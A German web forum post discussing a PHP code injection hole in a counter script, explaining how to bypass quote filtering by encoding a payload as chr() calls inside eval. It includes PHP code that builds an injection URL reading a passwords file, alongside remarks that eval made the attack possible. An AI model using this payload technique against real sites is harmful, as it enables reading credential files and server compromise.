Einzelnen Beitrag anzeigen
Alt 21-03-2006, 20:08   #20 (permalink)
elias
flachzange
 
Benutzerbild von elias
 
Registriert seit: Jun 2003
Ort: berlin
Beiträge: 3.932
Nochmal zurück zum Thema. Es gab bei der Code Injection ein kleines Problem
was verhindert hat das ich " oder ' injizieren konnte. Leider konnte ich das
Verhalten nicht mehr reproduzieren, ich vermute es liegt an PHP 4 oder
magic_quotes.
Jedefalls ist man ohne Quotes schon ziemlich aufgeschmissen wenn z.B. Pfade
(also Strings) zu Dateien injizieren möchte. Deswegen habe ich den kompletten
Code kodiert und in ein eval gesteckt:

PHP-Code:
$s = str_split("readfile('/full/path/to/passwords');");
$s = array_map('ord', $s);
$s = 'eval(chr('.implode(').chr(', $s).'));';
echo "http://example.com/counter.php?daten=".urlencode('<?php '.$s.' ?>');
Das ist keine große Kunst aber zwei Dinge möchte ich dazu sagen.

1. Gibt es sehr viel trickreichere Wege Code über 10 Ecken einzuschleusen, z.B. tricks mit Multibyte Charsets führen immer zu netten "Aha" effekten.
Ich will damit sagen das eine Lösung auf dem ersten Blick nicht umbedingt eine sein muss.

2. Ohne eval hätte der Angriff nicht funktioniert.
__________________
elias ist offline   Mit Zitat antworten